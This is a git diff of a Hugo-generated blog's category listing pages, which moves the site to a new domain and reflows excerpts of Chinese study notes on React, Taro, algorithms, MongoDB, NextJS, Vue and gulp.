+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
-return[
-&lt;div>hallo&lt;/div>,
-&lt;div>word&lt;/div>
-]
-}
-或者
-render(){
-return "hallo word"
-}
-错误处理
+render(){ return[ &lt;div>hallo&lt;/div>, &lt;div>word&lt;/div> ] } 或者
+render(){ return "hallo word" } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
-console.log(error,info)
-}
-Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -36,14 +24,7 @@
 导入
 import ReactMarkdown from ‘react-markdown’
 测试
-let markdown =
-"**这是加粗的文字**\n\n" +
-"*这是倾斜的文字*`\n\n" +
-"***这是斜体加粗的文字***\n\n" +
-"~~这是加删除线的文字~~ \n\n" +
-"`console.log(111)` \n\n" +
-"``` var a=11; ```";
-&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://xiaochenabc123.github.io/posts/94/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+let markdown = "**这是加粗的文字**\n\n" + "*这是倾斜的文字*`\n\n" + "***这是斜体加粗的文字***\n\n" + "~~这是加删除线的文字~~ \n\n" + "`console.log(111)` \n\n" + "``` var a=11; ```"; &lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://chenjunlinabc.github.io/posts/94/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -68,18 +49,7 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
-import { View, Text } from '@tarojs/components'
-import './index.less'
-function Main(){
-const [count ,setUserName] = useState("hallo word")
-return ( &lt;View>
-&lt;Text>{count}&lt;/Text>
-&lt;/View>
-)
-}
-export default Main
-子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -94,19 +64,7 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
-if(nums == null || nums.length == 0){
-return 0
-}
-let b = 0
-for(let a=0;a&lt;nums.length;a++){
-if(nums[b]!=nums[a]){
-nums[++b] = nums[a]
-}
-}
-return ++b
-}
-b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://xiaochenabc123.github.io/posts/79/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://chenjunlinabc.github.io/posts/79/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -150,7 +108,7 @@
 show collections
 或者
 show tables
-db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://xiaochenabc123.github.io/posts/76/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://chenjunlinabc.github.io/posts/76/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -164,13 +122,7 @@
 在scripts下加添加
 “dev” : “next”, “build”: “next build”, “start”: “next start”
 创建个js文件
-function Hallo(){
-return(
-&lt;div>hallo next.js&lt;/div>
-)
-}
-export default Hallo
-yarn dev调试
+function Hallo(){ return( &lt;div>hallo next.js&lt;/div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -184,10 +136,8 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from "next/link"
-&lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link>
-Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://xiaochenabc123.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/4/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import Link from "next/link" &lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link> Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://chenjunlinabc.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/6/index.html" "b/categories/\345\255\246\344\271\240/page/6/index.html"
index c5715091..0117eb71 100644
--- "a/categories/\345\255\246\344\271\240/page/6/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/6/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -20,11 +20,7 @@
 yarn start/yarn run dev
 如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
-transpileDependencies: true,
-lintOnSave: false
-})
-这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://xiaochenabc123.github.io/posts/75/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://chenjunlinabc.github.io/posts/75/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
